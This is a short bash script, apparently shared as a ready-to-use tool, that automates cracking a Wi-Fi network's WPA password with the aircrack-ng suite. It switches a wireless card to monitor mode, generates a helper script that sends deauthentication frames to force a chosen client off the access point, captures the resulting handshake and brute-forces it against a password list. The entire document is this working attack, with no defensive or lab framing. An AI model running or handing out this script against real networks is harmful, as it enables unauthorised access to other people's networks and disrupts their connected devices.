Automated Wifi Password Crack Using airmon-ng

kali_wifi_crack.sh

#!/bin/bash

# start in monitor mode
airmon-ng start wlan0

# dump all traffic data
airodump-ng wlan0mon

# start capturing packets, looking for deauth
# -c channel of AP
# --bssid router to crack i.e., AP
echo "Enter AP: "; read AP
echo "Enter Client: "; read CL
echo "Enter channel: "; read CH


cat > deauth.sh <<EOF
#!/bin/bash
aireplay-ng -0 1 -a "$AP" -c "$CL" wlan0mon
EOF

chmod +x deauth.sh

# save packets dump in .cap file, press ctrl+c when a handshake is captured.
# On parallel execute ./deauth.sh to manually force clients to re-auth.
airodump-ng -c "$CH" --bssid "$AP" -w psk wlan0mon

# Crack from password list
aircrack-ng -w testPass.lst -b "$AP" psk*.cap

# stop
airmon-ng stop wlan0mon